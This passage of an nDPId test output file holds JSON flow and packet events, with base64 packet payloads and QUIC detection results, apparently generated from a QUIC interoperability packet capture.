y2TY2rHCzIrLKBxU59Q7kRtUbmutTo74p7kwrrlSTJCO1YNPtU6XBWtj7wzz81NndAWB6N0QAk8std4i2V6WuY2cGSRu66EYGTh\/8K91k4tTDBWpfGf4TNDSp5t5T0dGpvXA5zPG8DWjbXuVi7ELoqM51NEc8d7+IK2OCAdmYpX1PsoZL0Lbaw475Ho+KFWuruhhhwa7wzva4K3thZxpZy0eBP044yQ0lANRgJ3bThJg8RPAeJgPvuqFcX20la91uDGheq8GjpqmA35Zc3CODLtZQpRoUd6coXnW9stWjWC7LAp2e921jv6NfJLWpnOIL3\/YvqFROrdJzbLYKnKNfCTryzQPuJNK60hRlQe0ccZ844JLUpRAYdtGzZkFKHhFRXy6oBkYx1M3HW\/UE2PcwS\/IjPcNZbTy+fdv2atp2T3sGZ4LPZca6tbu49as0q5fcEgS\/u25\/J8syzbevr8VL71PTWp8v54ud1Q=="} +00731{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":43,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1603816434643,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"71.202.41.169","src_port":50289,"dst_port":4434,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"71.202.41.169","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00525{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":44,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1603816434643,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2001:bc8:47a4:1c25::1","src_port":49270,"dst_port":4434,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02103{"flow_id":39,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":643783,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gDhbcBNgRQCABCwcKydWupNP+R2kegH0gAQvIR6QcJQAAAAAAAAABwHYRUgTYy97JCgoKCgizoUNUPmNvHgAARL7kE1\/vTL\/NMlU9dFfohroNb3lFa0sajkl+NYJsmpdZxseLTol2hdZqlkF1hqB0ifjTUijhcAiX+sblrKEYN3cCa28xTnru44DNDzMC4mlv4HrZOqLLNO\/UlY1sQ8NKCbNtoSq21p7clWer16m4TAw7H\/F9E3AX\/MdNlxeqaKJvymPkTEmiXkH2WePQ14zEX\/OsIv\/9nKZprtTphxJOpWh9iC60eXUS92cRfpPE4t2QsqYFBWlVb+13SoAgtAjkrTvvSLYg\/D9UbwBgPzj7R4p4Cd+bbadGFWvc8wcjuV9E+a+X5gFeHhOOh92iUHSpTT\/SzNsRBUS9i7htX+D9DZZfG6yrrqJwDVKCG3skrDDAnAOEIj5wc9E6ktIWj727nJPaG4F\/yFeB9mvF4BGMSF2t1HX1v3Uf8fd+2\/CrVkIpM1QnAbm2kykvcJlPK0VaRsZgQsar09\/xE1coUXATF0tDX6QEFU7xe84fN1PUk1FXFUXQjOBwq0tYTTcPCN4qGKSXtiP22FkC3\/OV2TW+6RsyY4afHoIc55iP9uTyiDz8GgsOMMcDAt86zjUpsGFleM3dlpIjA5SRInS88gDuKFXQazWcKMDZGgZ5OzzGPWiaCCElrFoU6Z0C9Z3M3gT5NV2VJc1gEss3QWIiObA5nJk+9Egjbcm3dvzdusN6QEHoBwehHTuwg2LVAOrhrdwgJHwD24nAbkGvZS6207+R+dDWgjErFMPgJjQk90HJrSxW3PVzyhqFF8r1HhvahtRcrGLHjwGBKNWw\/mrkVazrYWToNHELFQGA97zWhxG8ZSHR+27fKaBvWg5SNzSWU2wqAon3FV4zTetTXEb9zkLHsi2S8+hrVzPvDpUzxu5LCvszrotwPRcXWgIMpfFuHdDkZxnUc45aPM4oNaKzuB\/0K41UWRnLrJN6\/+98eIMaltlc4V06CpAS5gYRWr9oVtc+QkkWRldnz37SdoLKl8j4QpdxDKnGiBhtH2t7EGBZvilk2\/E0n1dYaPhlbDUz8OHPLZKVRSX+2OC6kXAYMmbeaPeYmlTGxdw7MpypCb0e78htplM7XmCygTm7xO55EtSdHoQEqVVTNOIIkzaRk0or7ix1b+Ac9bulavsll9eLerk9aXIedIpmtLAhpid4yPMzOfK14JMJmXBfXb5Bmo\/4e2X5MhFs1h6MDiN0sF8lsZJljJ9S5QgvPFUHTbEgZwtOqgzvOm6MsHiV4dCQU3zeds93rktywyH+Qpw1nOVbV0RHa72zd0Io5tIKuEbGJ4DvYBtvaNEL2GzNcfpg1SNHmTLW9FsceE8YJg9q1N4VFcd0DPFy5W443yNter3ub6Z+8DDshzGfLalC9+Gxtga2a8QCpuk8EpMk+hYjiHRQMcz0FVALld4YdzH4Q7aHFNufiFtsQORs2elcXiDr+suYZd\/KbghskPHXcWBEvZ87I+FVy0zTnkd6sN9nVlJxmggfsaoPYeNUdCjf4aj8XSdzugsx\/gjaDcmur3C2vSPf7TTH0vuXm+WJUiYbW8mepVZGo\/Ab4kEw9z6H9LiIvVjV2bJog+FgNpi+bCuPZrXaL1QVg16ASOkMyJEOBJ\/ApwZq1c+0SVVETGYjpibsmHYU2g=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":44,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1603816434643,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2001:bc8:47a4:1c25::1","src_port":49270,"dst_port":4434,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"h3.stammw.eu","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":45,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1603816434648,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"18.189.84.245","src_port":34903,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02105{"flow_id":40,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":648476,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAVWdAAEARtqvAqAGAEr1U9YhXAbsE7B\/jxQoKCgoI8ujrluq3MPgAAETSSw3nndZy2B\/JR\/aFheBm1Am1dhHdGKFX4rQi398jOJ+Jn+ueiHb2+ayhrixzGiiTN9ufhk4Lx76CWjuYMe1esceEF2U0qEsZzm5HKOUSMwSJ5RaG7eBb\/NGtId7Q6oJPV32C4GXJOjD2zUmbaepzk+oaGFaN7rBeaveWtYLwkm3MCtZ9ixGvt1GVcZjsd3UxnGM0OVZjCX0r80DcWyuTZ+venG\/PF8dpMDihqsZpbR3kCGTkK2uMnVKt5rsbq8Q3DZ4G5gYRlETl0tKNNk\/HmutyUjflzkkuvzr4zZfbMn0fPfDD0j7mcNxEYvvd0jng9gG7f2g5c2cWdEOeL32TJuGaUD4LxEgTmtQ74vLlqJ2jtPbB5cHftJfgjUFjPeNm\/TPJhWl+3\/2FaFh7UtvKIQZYWOKggBRpbC9DfYZGBlcBdT4cVCcoYVYvdnofibyJj7qvtk9aBhQ8X8haBJHnwUiu9Fh6LP38l6DOudy0wo3ZglGsYmVQyJ13TOTkHezaV+ftjH2Ic2\/kdq8i3gBc5XmSKkmTiDbR3CJC6bVKLX4YKbycr7PwvmeAgaIww6YUv5UVh+vhnxqslyCYJ54KMPJqDqUt8WhJ8Cyji43HCRRNG5kipptq8jUrAU8gnwzNfotH5yFDF+SAJ3QrzY\/5UXiv\/luWN+jwEASOuxa49aAiqVUa6A2J9z+IULgzW9aUufnh8e6ojNPCROl0NOCqRnl5cZCiCryKj\/+UTBEx39zm8tG1rMtKw8QCLVg0thBdHS0CguNqIcZrFjoob99Ht9nweYVHyIifEGHrneZFx6IaFg2N2+vqZttN1BPnlJwB5SkjsSGnctAq0WWDJg53X0egLh7DxbpeFvo\/PmlH\/qw8mjFt+NYPN0Ckt589t68fWjAbTRqz6xR6iPzgtt26G5g9GSc+owtcPOoKDSY+FtfvQEy2FDAKor8oRuyToRIFoS3GHrsVAzOLHHMrzcmpnrq0hajchpZRX9\/japhKPdmJTqsBb+ql5oZkXtBdENW3VUtixBzrUWiVbOkyqYBTjYwbASaX1s4B0v9Dw3fdaQktg0huYIDe3RIztuWGLVXFqL3kiPstObyRA8wmGdfn5WqodpZ8U9Vfz6QFfvCBcYE1\/TFuOxsVuCGHj1fKdzqDxFgpT\/6zI3IgHHNl0RstA3RkolWL6H0I5f1KqOUjo7bKGh\/fgABUsvMtkL2jljWloerb\/OyZ8cMJbX4NbVoNGdWP6RjJXhmtbLlmGjr\/nG9lw0JPerfXWXztQQ84uR0ZUAsCJbt6PCEcektnL94QlE49op9jLT5v5WzhOshdDsHI9kPLgiBlXhxtuB\/4fh64dFKwIV\/bkeadS+6vx09Jc7DjJDplds16bxuhHniXD1+VLQYqMNvLfkmfXTcvt+DCDI5+MtT64WEYlvBN\/oRfvKNXOlpG0nbSIxax56Y8i7ywQwgVXRD\/tgIY5hSIvokl8C2Vtnw0ocpu1kRHmBam5VO2gvUlslhf1v2Z1lhZ3ZHKYC+go+hJTIN8eMiQlcB94ueuvx1ZXgPZAWpEgcGBa59R7aGipRkAIOU7VFYiFm+JgHn0wlJi1ePUMn2SyyfRo+5s5CeNkA7rfixGxD37LoDcJtDM1uCusOgWzzaoPX\/WMg=="} +00729{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":45,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1603816434648,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"18.189.84.245","src_port":34903,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"fb.mvfst.net","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00486{"flow_id":27,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":650048,"pkt_caplen":97,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":97,"pkt_l4_len":43,"pkt":"PKn0qB\/spJGxgjQ5ht1gDoRdACsRNCoArABAAAQAAuBM\/\/5oGZ0gAQsHCsnVrqTT\/kdpHoB9EVHuNwArYcCQAAAAAAAIF6TDw+yG4BdFR0cg\/wAAIP8AAB\/\/AAAe\/wAAHQ=="} +00538{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":47,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1603816434652,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2001:19f0:5:c21:5400:1ff:fe33:3b96","src_port":45852,"dst_port":4433,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02104{"flow_id":41,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":47,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":652977,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gAVD8BNgRQCABCwcKydWupNP+R2kegH0gARnwAAUMIVQAAf\/+MzuWsxwRUQTYTRjACgoKCgjaL32MZj\/FsgAARL5kzfCcIzgmsxjP0G4DqL4uwGMN6uFXlzXIqULUmbWkTZimqkIWYk5J+U1Tm2aqd1MjW9rzMqELFmlAhlXckjXGsH+Agbi5yNw7OuSd0A2jkDOUIsWCSOJHKlMr0ObsMh5yal2tl2VuEVfSE0qsFV7WLAeEJZABZmjJDxwfk918siEfP+aSaQvEgBBkJ84hGcxa0pyg3zr9AdvoDzmITNfcVD\/SbxorVKGQTTyoV2KjJ4ODNMmCAzaGCyDD6BHN+TqaVnIG75iUky\/i00OWO2itqTOK5MK0gg\/F4dmZXxYm544SXt3mEIMn\/KiT58TB8AnvvoMM+zDcLjD2voYO7w6nQ7vjIZtfT9m3XWOP8J9F0bvPBS9+vGZTprqiR2e6PBnSg0KmchSjlKU1RP+jKuqXA5YZOjOGqV6O\/fewKbV40io0i1J+NIHqJBZhd5bjjAjtEL0\/jGHCJT8+kHWQVRnVxvJTULFHfSoFaOv0\/FAPPgQmAsV\/e7ePRse7PiP7AO9qzUpNTBIaRi7R7yEx60bIoFeYOSNhxPoca1fCTIiqpbf\/Lysq6HvKKUzNT0W7O4lfkb\/ZC1VhUlt7Od+qJCiRwXxU9D\/42IwUin8sjlUvg+KRX5ulSQOPGOYufZ92sil2AWQyHIIFULLz407V9+RW+9E6Q7FjwFkZOFtY3aV1T\/8FTKaaOHGLazcJjKUaGZC8AA2F6I9PGcFFC9RAXizVtqzUQ+iviDhJ+goUzdUB1agAa\/MIn7DGkbkQVOtD+1M6CKkE7hHdmiQ9n16NW3fCjz4YqlEqNM80RgogewW7AOxtVLzwj56n0cG2wRWB+HawQfkQIDtIJqSHPWB9OkV6tfXkJfbT2wlbh\/rfKSskLrk1sbYzY1PIDNmPjLRCZBVWmCYLPffYkG+b4MwNHB\/vAIrvElJ1puJF7jpzzegk3uRCXIKeAvnSIueoT+dVtLnf0DjT1SjmwFUtovRpxxTHtgK78PEBaNK+CFnXBiyxXF88QJhaPeav6oIj92LBjRUaBtpFYrGT7ukwX0CZJH6ss8DKRBYG8o1LXxAiSMdCM85xU\/D1l5JAQtiGzlNDH3qXy62dPdPRzmBTdsEvCTu1SJ4aTQ5HqZkZ8mdXkv1vSCrhXtjNjyM9ISkMXQl7Fv4snypY5dWEXtwWFf\/DXWrXLzy8bkZnUz7iRb5Ma6ol5Xky3YnWYit6Oy8bYeuXHVcQl7yxHmQFX9vlhcsmh3du6Au3WEc7fVr5+pChwI9eXXokYUBC373Pa\/y2+Tfslyg9\/dYBdfu3HiD4BKHBgCptEzxjJJoRocgeQEgIyTxnLazyy7tsTNsUIYjWNFhWoL2xJFntqowob7P44+WFAm6ZkZovEYYNmSKqBxSG9wAPXekCbXtH\/b+TOIK9+1XfTT1IrbkxQYHWASoekr6WZeU4jYlWrrn8X8ujjTBW3jswDbT7J2Z+rUudTp2RtVzFLtpsMRieCSQBEact92jCCupbg43ThfRz5r1sA\/97BYUtprJqYvONm9iufuMRRuGLpd5h9EBpE9lEEKcLT0QIsIjALGWNfhWnZdIJLXqAQgypProR3AsmTwuLfn7lEfngyfzJ6wUdezbTEtlDAdR3wg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":47,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1603816434652,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2001:19f0:5:c21:5400:1ff:fe33:3b96","src_port":45852,"dst_port":4433,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"quic.tech","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00495{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":48,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1603816434656,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"133.242.206.244","src_port":45855,"dst_port":4434,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02109{"flow_id":42,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":48,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":656025,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAlgNAAEARiNrAqAGAhfLO9LMfEVIE7Eh3wgoKCgoIJ05Q063kdsUAAETSbLaK1YIdjfFKFulEh8Y2sf\/rINJYpnSz+n\/2QdD9ZhLptcSvy2R2VY8k3My6fIvL6mAk+uMpn4smDS1KptYa2flod7AFdpBN3VvGtMn8LYTKEkOwUsRO7TdqEPawLRWOABxPUqjQjdCeFgLJNdZk5RA07LTgVWI2Yu12LDx4casOusyaOV0FFb2psXZWvD\/rRGJTjSUwimMA87gUlPjAdz\/gfYKA8J81JCdeNyPB5kQpQZK9Ag3U\/SNi8mmglOJkOcsW2kP9tVz80xUx+vHEMYcRJEAektIaWVqW\/qsi2o67TUfHR2EXa8XSNf6EPfTjaOmRYh3mFcNDcJgd2kz2KAnh3V0gkKSqu2uEJA5\/mg\/TnJn0\/l1UAulF72+p5R9Pa32JoZ5rRGN1BakDzPrffOR0TvFE3y\/+FghM6Dz\/8uzCybhNc7sfFp+p4ZUoUBdN3i5d0NPyFY2gHyQomOn9rjU73nYYIseeZ+nhRO7YbCjkbUB\/yYwkJmFOh0TvqwzYznQgk7lfr\/md+bsxGFCUVM4aVxtYqCyilzNHjx2\/0uQ9PwLviLCGbf\/DMQiUcVNp3cYBqz7DJUy+OlRTk8hlbBxWecwj0pbXbnMQduOagYXqgiomaGUVKDGlda0JCfvvNO757eKuRy0mLdjIpqHD1NEufFqbaSMZUn9grkimQ69ppIErnAUuDQMJRIyzqNcJHugVGEq5oP7QdlfZ7lr3jOBT7HkZcNEd8AV47qJgoKU5q4NGc0J71Pw2YVYd1scb3A1vWRIVsIkczT7yuDAKiAClVSuNQLnIvJw4l6s7CUlk6S8uK69+4Ltr75BolBxMCVoHkM5b\/orqVfR0OqNi+hCYxsYJghq7xN9bXvYCpq2kqvymjFiL1hosZ8LqBqlbZ+KRpjwV61KCcoVqNasJru7kBOCt\/mWTssvQAORaUq8Mlwn9y2PykyJGeVKaSASOiRacPdV4HuhCOQcDfRB9yNMfMAnpvVeDH6VS7MdAdMQe93Qrtp1QeP8VO2rTCCN91AOit2V+QXCvc+BbYXTvvH3JkKThYqcH8rRbxqdDTPq\/wWim7\/0lqkWBCggizFSqTrUIDXVpjQPuUhy\/WRzxkYSIc7u5fZ6sIq5eN5m9fXx2vD43Yq+l1Ghb4xvwIneJ5NUn2eFk1R6ttVwWQjusN7oyMgG5gj6hjohBbMiM6VLvBdJqqabe+fqfPuIkbGqi\/pSgVmd7J7gTSQs7\/paaiImg8sm4Mq97uvoFIBYp8yYjmKJB82W7bOZiqV49vTn0RrZTlVVPlHFQX2WpjZTpwwz0jIKKplJsVkyi1FG+BOFx+GyxlIihWz4PLKtSgOENeMXtz0\/b7SoSYOWhsCG2\/\/f948c1r4PeUvRu7XqduuojNmHxpahHKwAwVmNhkRHsAbP5zW9qP6XfWnsVWmx0bN7aP5npP3hrOKyfrsV\/5FkNliWd9jR5UNuOo4OtgXCghNfW4LyOPBq4jsogY2TorxYEYK\/ICauhkE1t2zAYwcvA9jNm0x1R4D\/Sm+97z\/rPAGHRZcrG9A3EB6U09uwydYieU6kZpUiZJOYWACk9HUxtfhKSNARDjWcNCzM7bpArmDYB3hnejZrmrPbFxj58+oKmg6IVgKVFjNIQGjV1OHopPg=="} +00735{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":48,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1603816434656,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"133.242.206.244","src_port":45855,"dst_port":4434,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"h2o.examp1e.net","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +02114{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":657595,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gCNHwBNgRQCABCwcKydWupNP+R2kegH0kAIkCAAAAAPA8kf\/+aaRUlL0BuwTYQzDKCgoKCgjBjvWe+MPFRAAARL4g348kA8mQBcAOi\/Ea5lVgGbx\/7eo9z03nW8pQoHBEiVFxap\/J7yF0T4ETOiXRrEVFzfKu4cp9\/aIHD8VuqdmnRI7ZUzH6nHP6t6XgWjPLu9gwncGiNpy\/62Nk4XPzeji4OQEhiV2wvPwilhPjz1Iw8tA6gxIE\/FJ4VwrM+jhjDDGeJX9BSVBF51kNOZwIfVwErkoa\/qCvtHlDAlGsd67naWgwRHPQ1nkSJwo+9sQMQloIehnYy66qr7McaNefwAbFS5vujjFD0bYEmGDHKA\/F\/y+3qGlJupB5YPSp8wB7Am1v5JD+D\/bG5B5luaL\/5MF\/tQnBG2dxtea8LZG5G\/eV6LyP9L4ooo4IJyvTlEaQ\/ZOeKwlHxchtWnc9B1fL75AWTflk927t027mF4gEUpMwkx4RQMESzJeKbiKyR6Kju8+GylIujiTUOWwe8Pt6FKBiAZLgvlK4YR6upjyxAj1yifEMXI9ck\/VO\/Ck0PU3TrRtvDl\/wfNsVtESwzsMNhYfkwDEb9HKwo5a2\/kMDB2oZkX2VNVeOAH0n3s8tB9WLVe8oKkFTUmog+0QRsMIpnLCWQ75LQKoJv6O1XJQVMkvkriwokuRy8CCP4EpIlVSvXuFArfX\/fbTPCluQ1NH50zOP6ysMQboAYq5P1UCN4zcLGWZaVbF9oa1jAJ6PadCu1EtWpxyNeTUpAe5jtCvh1Ek99dEg6bQ+j6gvn\/Yz8AhHWVisS\/4VPgx2sHYS2FDc4ug9W6gsAFExY3uSitd7XjxK\/bL1oNU+b0jZOhnX4xE5mnhbxzHNAKXSXB2aWDY3+BQWmASrCC3UyA8\/hE91TFVnfAmnegiopiURKjvi8DWlsXJi98UivPepk1KIUkyuwYljhDbFg+Ju8PdCQIp1RdqDT1rPQsla4QcsyF\/NLkn03\/oiCiTPViBgeLpx5IDNsz\/E5PKe7HtjsCqTGdF3JcVQGRMcs6XuK6eeXR39paD1+Ap5R7y4jtTYGF3ERVJnfLPi0OImMpLV78BBWUIiuk57yx\/ByVw1Vi231q0R5hJu+2UkRPleoRsn22QwOy5Wyt6YCa9Njzu+jmkM5SaTLiDskQIXBb6CNyIxDTqisRatDtzI4tGgpDJJrJLyZRRjwm4IUGl4MEcnCWz9P+nJkKiW91BFFECvItcE6tRgENAP6B07ROBWB4xJBDVhnX0WgQS8bETOrbEby5WFiD92Zha2iJfBanxLrhkMlyxfJQvY++OklEMvIXt3v8l2q3dZWFOn4kyWKCN09iij0w0AEDsYLWJZuX4Wd4BeQXUc0TQSuDLkBeoncn1cOIA9nbBX5JYvyr8xLwXYv1YbXFHRI\/Z6kEVdG+BSe850euHBVqJOat4IdCKJnu6NuFXRzdJnMp9gCv2PvmYfbsW9v5iJpCEm0G5joiY+1mWnVbfZAO5JyrBGv3ibTwQYFw\/SIY85UIif3wl0VVblUQH81ysGAOBc9Qkl\/ZLs9Nmdqg326DSTscTecRmY2x8\/F6T2e\/IU6BMaPO19yi\/FICyG9IeO7SjydAWQ627DK5c9b4kcDrf56O+pK9aBvIiTOBgdfw7wCNgDwIOMnK6gKccj4qLA25Wlz7z4n6yBivDMYJeK5g=="} +00525{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":50,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1603816434659,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2606:4700:10::6816:826","src_port":46353,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02105{"flow_id":43,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":659010,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gA8OgBNgRQCABCwcKydWupNP+R2kegH0mBkcAABAAAAAAAABoFggmtREBuwTYsN\/CCgoKCgj6DPHJWWs8sAAARL55hiYulShwyIvWIzeLs9lbgr6rmw2K6C37PVfcJZDvZCsi+yJ6TesBrbkUmHPBfXK2VSsq+4q1cI5h2aHxdCKt9ff4StlBulmgH+Bx3V5qJpzO+chyDdznTZrYqtjC6v8ZBmqg6a0NWZctg5sOGc0dmWqWQt\/s1k80Opf4xkQymFAPA9Pl4JS9+iEpGVBaepowwgfscg0eVp\/g4KhRhi2KxzLJD4JVToYgB90k\/XMf5w3IY1+ur6LCGNOvp5CgM1wSVcjlTXRfF2sQ8Nt5yAOXsMdlE2VREtX+yKxHSfWv2qqrbcbq6RVZYdc+ds1nkWyZ\/6jdHbCssoBrfhArvTqJ3nXGeMUG+bKJ8FrC+4G2Lxo3r7Ru71nKnVeUZu9UYw31AJEBbUWJ15R3KR8bSsgXVEA1WA99CJtgXyQXqZETvNqqmNWotKljKjV7OgVyrLmK286tZpqcji\/W3bv\/Ubygl\/yKnAKUAdc0UtIijMu1BloVA+m4PWftVJgbHf3aNTI+rX\/vVy3nXb0QxfA9y88X4009Gs60l0v0MkyueqKT84n5UNIPGZG6kKOK4w37tFYHam4lcYFhUTipTGlChqgi7Rf4rTS7tAG+8PbEvTqHal3HPtJlWvTM+HbREgYOOX+JhiQqeFaskCeQtAFZK2PQl21O\/xEnuuZnwPjd1JkjtwZsem8bzkoeN4610EXK0Ys8ust+NXwAs0bP\/var5LJYH9Np4yVLvPxPvG8XuijcEgZh9Ws\/PfZ9C625UJ6lCdqn5BKdsrwhiY3rVJi0Gb3BXOKIhsyD2r8TfRwv9Zq4BaDAYzj42tlUE3f\/S15wR2pPt+JBRpoPkMMI+gDAQhJn8p8DcnyFkIppSWC9eOywndfHU5\/yUdNXRQwe9qMMJPyoMAFljWxr